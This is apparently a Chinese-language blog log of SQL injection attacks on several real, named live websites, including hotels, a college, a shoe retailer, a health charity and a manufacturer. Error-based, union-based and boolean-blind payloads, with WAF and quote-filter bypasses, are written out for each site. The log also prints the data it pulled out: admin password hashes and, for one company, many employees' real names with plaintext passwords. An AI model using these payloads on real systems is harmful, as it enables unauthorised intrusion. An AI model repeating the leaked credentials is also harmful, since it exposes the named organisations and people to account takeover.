&lt;h5&gt;1&amp;gt;embryohote酒店(报错注入-数字型)&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;网址：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://www.embryohotel.com/
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;1、寻找注入点&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://www.embryohotel.com/room-detail.php?id=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/0727bb15a9-图片15.png&quot; alt=&quot;图片15&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h6&gt;2、判断存在什么SQL漏洞&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://www.embryohotel.com/room-detail.php?id=1&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/3b1338df32-图片16.png&quot; alt=&quot;图片16&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;有数据库报错回显推断存在报错注入漏洞，并且可以判断没有&quot;&quot;&lt;/p&gt;
&lt;p&gt;再测试一下是否存在&apos;&apos;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://www.embryohotel.com/room-detail.php?id=1&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/970fedc57c-图片17.png&quot; alt=&quot;图片17&quot; style=&quot;zoom: 25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;还是报错，证明不存在任何的引号&lt;/p&gt;
&lt;h6&gt;3、提取数据库名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://www.embryohotel.com/room-detail.php?id=1 or (updatexml(1,concat(0x7e,(select database()),0x7e),1))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/2dd617ce33-图片18.png&quot; alt=&quot;图片18&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;从中可知数据库名为&lt;strong&gt;cp227754_embryohotel_db&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;4、提取数据表名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://www.embryohotel.com/room-detail.php?id=1 or (updatexml(1,concat(0x7e,(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,30)),0x7e),1))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先测试一下30这个字符串长度是否可以&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/c4a5a1ca89-%E5%9B%BE%E7%89%8719.png&quot; alt=&quot;图片19&quot; /&gt;&lt;/p&gt;
&lt;p&gt;有显示两个“~”，说明是可以的&lt;/p&gt;
&lt;p&gt;接着按照这个顺序【1，30】【31，30】【61，30】【91，30】【121，30】【151，30】这样查询更换直到输出全部的数据表名&lt;/p&gt;
&lt;p&gt;测试出到【91，30】就结束了&lt;/p&gt;
&lt;p&gt;从中可知数据表名为&lt;strong&gt;admin,contact,image,local_area,news,room,room_image,room_option,room_option_reletive,slideshow,slideshow_mobile&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;5、提取数据列名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://www.embryohotel.com/room-detail.php?id=1 or  (updatexml(1,concat(0x7e,(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x61646d696e),1,30)),0x7e),1))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;0x61646d696e：是admin的十六进制转换&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;一样按照数据表名那样一直顺序输入到【31，30】可得完整的数据列名&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;id,username,password,last_insert,last_update,permission&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;6、 提取数据信息&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://www.embryohotel.com/room-detail.php?id=1 or  (updatexml(1,concat(0x7e,(substr((select group_concat(username,&apos;---&apos;,password) from admin),1,30)),0x7e),1))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;username,password是数据表里面的数据列中所提到的&lt;/p&gt;
&lt;p&gt;可以直接填入查询的数据表名&lt;/p&gt;
&lt;p&gt;查询到【91，30】结束&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;admin---e742c63f03ab602f2b38433ffc28b5145ba1332d&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ARMERX---8988c8cb582506f93b59b794af7212cb5406dfcf&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这些密码都是强密码，MD5解译不出来！！！【哭~】&lt;/p&gt;
&lt;h6&gt;&lt;strong&gt;7、后台登录网站&lt;/strong&gt;&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://www.embryohotel.com/admin/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/cdd89fc4b9-%E5%9B%BE%E7%89%8720.png&quot; alt=&quot;图片20&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;2&amp;gt;台湾夜墅(报错注入-字符型)&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;网址：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://yeshu1699.com/
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;1、寻找注入点&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://yeshu1699.com/news.php?id=236
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/d33b3f2fc2-%E5%9B%BE%E7%89%8721.png&quot; alt=&quot;图片21&quot; /&gt;&lt;/p&gt;
&lt;h6&gt;2、判断存在什么SQL漏洞&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://yeshu1699.com/news.php?id=236&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/be8b87c5bd-%E5%9B%BE%E7%89%8722.png&quot; alt=&quot;图片22&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以正常显示，说明存在&apos;&apos;&lt;/p&gt;
&lt;h6&gt;3、提取数据库名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://yeshu1699.com/news.php?id=236&apos; or (updatexml(1,concat(0x7e,(select database()),0x7e),1)) or &apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/7f705345cf-%E5%9B%BE%E7%89%8723.png&quot; alt=&quot;图片23&quot; /&gt;&lt;/p&gt;
&lt;p&gt;从中可知数据库名为&lt;strong&gt;yilanho1_allbnb&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;4、提取数据表名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://yeshu1699.com/news.php?id=236&apos; or (updatexml(1,concat(0x7e,(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,30)),0x7e),1)) or &apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先测试一下30这个字符串长度是否可以&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/e21372c0f8-%E5%9B%BE%E7%89%8724.png&quot; alt=&quot;图片24&quot; /&gt;&lt;/p&gt;
&lt;p&gt;有显示两个“~”，说明是可以的&lt;/p&gt;
&lt;p&gt;接着按照这个顺序【1，30】【31，30】【61，30】【91，30】【121，30】【151，30】这样查询更换直到输出全部的数据表名&lt;/p&gt;
&lt;p&gt;测试出到【61，30】就结束了&lt;/p&gt;
&lt;p&gt;从中可知数据表名为&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;uni_albumlist,uni_albumphoto,uni_bbs,uni_news,uni_room,uni_roomqty,uni_setting&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;5、提取数据列名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://yeshu1699.com/news.php?id=236&apos; or  (updatexml(1,concat(0x7e,(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x756e695f616c62756d6c697374),1,30)),0x7e),1)) or &apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;0x756e695f616c62756d6c697374：是uni_albumlist的十六进制转换&lt;/p&gt;
&lt;p&gt;一样按照数据表名那样一直顺序输入到【61，30】可得完整的数据列名&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;uid,tab_name,sub,th_title,th_detail,th_remark1,odr,status,upddate,date&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;6、提取数据信息&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://yeshu1699.com/news.php?id=236&apos; or  (updatexml(1,concat(0x7e,(substr((select group_concat(tab_name,&apos;---&apos;,sub) from uni_albumlist),1,30)),0x7e),1)) or &apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/ab3d312442-%E5%9B%BE%E7%89%8725.png&quot; alt=&quot;图片25&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;OK，不是这个表，这个网站太鸡贼了，查不出来账号密码，润了润了！&lt;/strong&gt;&lt;/p&gt;
&lt;h5&gt;3&amp;gt;JALAL UDDIN DEGREE COLLEGE(回显注入-字符型)&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;网址：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://www.juc.edu.bd/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;初步判断可以使用回显注入&lt;/p&gt;
&lt;h6&gt;1、判断类型&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://www.juc.edu.bd/page.php?id=2/2 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;除于自己，如果跳转页面变化了就是int，没跳转就是char&lt;/p&gt;
&lt;p&gt;如果是int类型则会输出1，页面返回到id=1的页面，如果是char类型则不会返回&lt;/p&gt;
&lt;h6&gt;2、判断字段数量&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://www.juc.edu.bd/page.php?id=2&apos; order by 13 --+

https://www.juc.edu.bd/page.php?id=-2&apos; union select 1,2,3,4,5,6,7,8,9,10,11,12,13 --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;4 是有回显的&lt;/p&gt;
&lt;h6&gt;3、查询数据库名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://www.juc.edu.bd/page.php?id=-2&apos; union select 1,2,3,database(),5,6,7,8,9,10,11,12,13 --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;exploreeims_jucedu_dsadf&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;4、查询数据表名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://www.juc.edu.bd/page.php?id=-2&apos; union select 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13 from information_schema.tables where table_schema=&apos;exploreeims_jucedu_dsadf&apos; --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;admin,tbl_admin,library,contact,page,site,students,scroller,videos,photos,menu,slider,photo_album,students_attendance,external_link,teacher_staff_attendance,teacher_staff&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;5、查询数据列名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://www.juc.edu.bd/page.php?id=-2&apos; union select 1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12,13 from information_schema.columns where table_name=&apos;admin&apos; --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;id,fullname,email,password,photos,status,id,fullname,email,password,photos,status,id,fullname,email,password,photos,status,id,fullname,email,password,photos,status,id,fullname,email,password,photos,status,id,fullname,email,password,photos,status,id,fullname,email,password,photos,status,id,fullname,email,password,photos,status,id,fullname,email,password,photos,status,id,fullname,email,password,photos,status,id,fullname,address,operator,phone,web,status,photos,email,userid,password,id,fullname,email,password,photos,status,id,fullname,email,password,photos,status,id,fullname,email,password,photos,status,id,fullname,email,password,photos,status,id,fullname,email,password,photos,status,id,fullname,email,password,photos,status,id,fullname,email,password,photos,status,id,fullname,email,password,photos,status,id,fullname,email,password,photos,status,id,fullname,email,password,photos,status,id,fullname,email,password,photos,status,id,fullname,email,password,photos,status,id,fullname,email,password,photos,status,id,fullname,email,password,photos,status&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;6、查询数据信息&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://www.juc.edu.bd/page.php?id=-2&apos; union select 1,2,3,concat(fullname,&apos;---&apos;,password),5,6,7,8,9,10,11,12,13 from admin --+ 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Webmaster---004d5ffee9ade56003311e3a267ff3e8(5154y)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;找不到该账号密码的后台登录网站&lt;/p&gt;
&lt;h5&gt;4&amp;gt;農妹子民宿(报错注入-字符型)&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;网址：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://nong.bnbhl.net/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有数据库报错信息，初步判断可以使用报错注入&lt;/p&gt;
&lt;p&gt;判断该网站的url有带单引号&lt;/p&gt;
&lt;h6&gt;1、查询数据库名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://nong.bnbhl.net/news.php?id=561&apos; or (updatexml(1,concat(0x7e,(select database()),0x7e),1)) or &apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;bnbhlnet_bnbhlnet&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;2、查询数据表名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://nong.bnbhl.net/news.php?id=561&apos; or (updatexml(1,concat(0x7e,(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,30)),0x7e),1)) or &apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;uni_albumlist,uni_albumphoto,uni_bbs,uni_news,uni_room,uni_roomqty,uni_setting&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;3、查询数据列名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://nong.bnbhl.net/news.php?id=561&apos; or  (updatexml(1,concat(0x7e,(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x756e695f616c62756d6c697374),1,30)),0x7e),1)) or &apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;uid,tab_name,sub,th_title,th_detail,th_remark1,odr,status,upddate,date&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;4、查询数据信息&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://nong.bnbhl.net/news.php?id=561&apos; or  (updatexml(1,concat(0x7e,(substr((select group_concat(tab_name,&apos;---&apos;,sub) from uni_albumlist),1,30)),0x7e),1)) or &apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;ibiyaya---1,pang---1,pang---1pang---1,pang---1,pang---1,ibiyaya---1,ibiyaya---1,ibiyaya1,ibiyaya---1,ibiyaya---1,ibiyaya---1,ibiyaya---1,ibiyaya&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;找不到网站后台的账号密码，有可能账号密码没有存进数据库，有可能该网站没有后台&lt;/p&gt;
&lt;h5&gt;5&amp;gt;耿毛1家(报错注入-字符型)&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;网址：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://kengmao.elbnb.com/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有数据库报错信息，初步判断可以使用报错注入&lt;/p&gt;
&lt;h6&gt;1、查询数据库名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://kengmao.elbnb.com/news.php?id=505&apos; or (updatexml(1,concat(0x7e,(select database()),0x7e),1)) or &apos; --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;elbnbcom_unidatabase&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;2、查询数据表名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://kengmao.elbnb.com/news.php?id=505&apos; or (updatexml(1,concat(0x7e,(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,30)),0x7e),1)) or &apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;uni_albumlist,uni_albumphoto,uni_bbs,uni_news,uni_room,uni_roomqty,uni_setting&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;3、查询数据列名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://kengmao.elbnb.com/news.php?id=505&apos; or  (updatexml(1,concat(0x7e,(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x756e695f616c62756d6c697374),1,30)),0x7e),1)) or &apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;uid,tab_name,sub,th_title,th_detail,th_remark1,odr,status,upddate,date&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;4、查询数据信息&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://kengmao.elbnb.com/news.php?id=505&apos; or  (updatexml(1,concat(0x7e,(substr((select group_concat(tab_name,&apos;---&apos;,sub) from uni_albumlist),1,30)),0x7e),1)) or &apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;chengshine---1,chengshine---2,c123---2,c123---1,c123---2,c123---2,c123---2,c123---2,c123&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;找不到网站后台的账号密码，有可能账号密码没有存进数据库，有可能该网站没有后台&lt;/p&gt;
&lt;h5&gt;6&amp;gt;Bradford Shoes(回显注入-数字型)&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;网址：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://www.bradfordshoes.com/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;初步判断可以使用回显注入&lt;/p&gt;
&lt;p&gt;该网站屏蔽了单引号，所以需要进行十六进制转换等绕过方式&lt;/p&gt;
&lt;h6&gt;1、判断类型&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://www.bradfordshoes.com/product.php?cat_id=24/24
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;跳转到id=1，说明是int类型&lt;/p&gt;
&lt;h6&gt;2、判断字段数量&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://www.bradfordshoes.com/product.php?cat_id=24 order by 39 --+

https://www.bradfordshoes.com/product.php?cat_id=-24 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;4 是有回显的&lt;/p&gt;
&lt;h6&gt;3、查询数据库名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://www.bradfordshoes.com/product.php?cat_id=-24 union select 1,2,3,database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;bradford_db&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;4、查询数据表名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://www.bradfordshoes.com/product.php?cat_id=-24 union select 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.tables where table_schema=0x62726164666f72645f6462 --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;tbl_email_notification,tbl_administrators,tbl_currency_converter,tbl_order_details,tbl_background,tbl_shipping,tbl_other_banner,tbl_location,tbl_product_height,tbl_discount_codes,tbl_store,tbl_testimonials,tbl_email_cc,tbl_affiliates,tbl_product_reviews,tbl_media,tbl_affiliates_icon,tbl_banner,tbl_product,tbl_product_category,tbl_registered_customers,tbl_sitepages,tbl_meta_tags,tbl_faq,tbl_user_type,tbl_product_color,tbl_promo,tbl_follow_us,tbl_discount_code&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;5、查询数据列名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://www.bradfordshoes.com/product.php?cat_id=-24 union select 1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.columns where table_name=0x74626c5f61646d696e6973747261746f7273 --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;administrator_id,username,password,firstname,lastname,email_address,user_type_id,is_active,varkey,datetime_created&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;6、查询数据信息&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://www.bradfordshoes.com/product.php?cat_id=-24 union select 1,2,3,concat(username,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from tbl_administrators --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;bradfordshoes1YUoXkrcUppu1vTYrlTNHEa5xO9qU3ySCc/PM+GPPw==&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;cristinaproVIEPVm5B3W57mgYWVFMDE8aFnDezYQfwaGWrQD/2&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;cristinamktUPh+dhEHdIc9gZ8kU1DeIXOt6pLobkIGre28O95H&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;jessicazYqleq3jGcss/F8Xo2keDmo0B5+aI/eO7b0wEw==&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;marcs21Kb50isw8T61t3tL5QNZMV7CEdHK/RJE2sTsBIYrf&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;无可用信息&lt;/p&gt;
&lt;h5&gt;7&amp;gt;Dysautonomia International(布尔盲注)&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;网址：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://www.dysautonomiainternational.org/page.php?ID=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;判断注入类型&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://www.dysautonomiainternational.org/page.php?ID=1 and 1=1 

https://www.dysautonomiainternational.org/page.php?ID=1 and 1=2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;网站显示Not Acceptable！&lt;/p&gt;
&lt;p&gt;则证明网站有云防火墙（WAF)识别关键字进行阻拦&lt;/p&gt;
&lt;p&gt;那我们试一试 and 1&lt;/p&gt;
&lt;p&gt;为真，可以正常回显&lt;/p&gt;
&lt;p&gt;​            and 0&lt;/p&gt;
&lt;p&gt;为假，不能正常回显则说明有布尔盲注&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这里先回顾一下ASCII码，97是a，ASCII码一共有127位.&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;1、判断布尔盲注&lt;/h6&gt;
&lt;p&gt;(length(database())&amp;gt;0)为永真值，如若有回显则可使用布尔盲注&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://www.dysautonomiainternational.org/page.php?ID=1/(length(database())&amp;gt;0) --+
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;2、判断数据库长度&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://www.dysautonomiainternational.org/page.php?ID=1/(length(database())=0) --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用BP把0设成注入点用Intruder进行爆破，payload type选择numbers
from 1 to 20 step 1&lt;/p&gt;
&lt;p&gt;这里可以直接从http history按ctrl+i跳转进Intruder进行爆破,不用一直重新抓取&lt;/p&gt;
&lt;p&gt;为15&lt;/p&gt;
&lt;h6&gt;3、查询数据库名&lt;/h6&gt;
&lt;p&gt;提取出数据库名每一个字符的ASCII码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://www.dysautonomiainternational.org/page.php?ID=1/(ord(substr(lower(database()),1,1))-96) --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将数据库名变成小写并截取数据库名从第一个位置开始的第一个字符再转化为ASCII码并减去96（如果第一个字符为a则97-96=1 ，1/1返回正常页面否则返回错误页面，没有显示）&lt;/p&gt;
&lt;p&gt;用BP的cluster bomb&lt;/p&gt;
&lt;p&gt;1 numbers
from 1 to 15 step 1
2 numbers
from 1 to 127 step 1&lt;/p&gt;
&lt;p&gt;开始爆破&lt;/p&gt;
&lt;p&gt;得出来的减去的ASCII码需要再+1才是数据库字符的ASCII码&lt;/p&gt;
&lt;p&gt;数据库名：&lt;strong&gt;bluewaz7_dysint&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;4、查询数据表名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://www.dysautonomiainternational.org/page.php?ID=1/(ord(substr( (select group_concat(table_name) from information_schema.tables where table_schema=database()) ,1,1))&amp;gt;0) --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;未完善&lt;/p&gt;
&lt;h5&gt;8&amp;gt;山东百隆新材料有限公司(回显注入-数字型)&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;网址：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www.shandongbailong.com
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;1、查询数据库名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;http://www.shandongbailong.com/en/product.php?id=25 order by 17

http://www.shandongbailong.com/en/product.php?id=25 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17

7 回显

http://www.shandongbailong.com/en/product.php?id=25 union select 1,2,3,4,5,6,database(),8,9,10,11,12,13,14,15,16,17
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;数据库名：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;bdm817514470_db&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;2、查询数据表名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;http://www.shandongbailong.com/en/product.php?id=25 union select 1,2,3,4,5,6,group_concat(table_name),8,9,10,11,12,13,14,15,16,17 from information_schema.tables  where table_schema=database()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;数据表名：banner,bj,bm,clbb,clmx,clnd,clpm,clyd,cmz,contact,cp,cplb,lx,news,pass,rz,wx,yljg,ylm1,zzq_jl,zzq_main,zzq_mx,zzq_mycy&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;挑出最有可能有账号密码的数据表：pass&lt;/strong&gt;(十六进制为70617373)&lt;/p&gt;
&lt;h6&gt;3、查询数据列名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;http://www.shandongbailong.com/en/product.php?id=25 union select 1,2,3,4,5,6,group_concat(column_name),8,9,10,11,12,13,14,15,16,17 from information_schema.columns  where table_schema=database() and table_name=0x70617373
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;数据列名：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ID,bm,bmid,name,pass,px,fg,fgid,fgbz,fgbzid,qx,qx2,openid,session_key,nick,avaurl,newbj&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;4、查询数据信息&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;http://www.shandongbailong.com/en/product.php?id=25 union select 1,2,3,4,5,6,group_concat(pass),8,9,10,11,12,13,14,15,group_concat(name),17 from pass

又或者

http://www.shandongbailong.com/en/product.php?id=25 union select 1,2,3,4,5,6,group_concat(name,&apos;---&apos;,pass),8,9,10,11,12,13,14,15,16,17 from pass
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;数据信息：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;吕宜营333333,尹继峰333333,刘影影abc123,鲁洪杰sdlhj2002,朱洪国805189,曹仁霞cao123456,范兆川19680209,李文华551616,孙明霞6136172,栗志123456,李清峰681001,朱秀娟123456,孔德华kongdehua,李中华123456,武勇hh123456,谷兆贺19810102,杨洋洋654321,张园601622,田秀丽888888,李敏123456,宋景明777777,罗国娟123456,周光华666666,尚培春123456,孙庆权123456,张恒顺123456,王东红720421,侯斌123456,质检部666666,李勇123456,张峰999999,孙文东123456,张成芳123456,刘庆&lt;/strong&gt;&lt;/p&gt;
&lt;h5&gt;9&amp;gt;峰寿司(回显注入-数字型)&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;网址：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www.minesushi.com
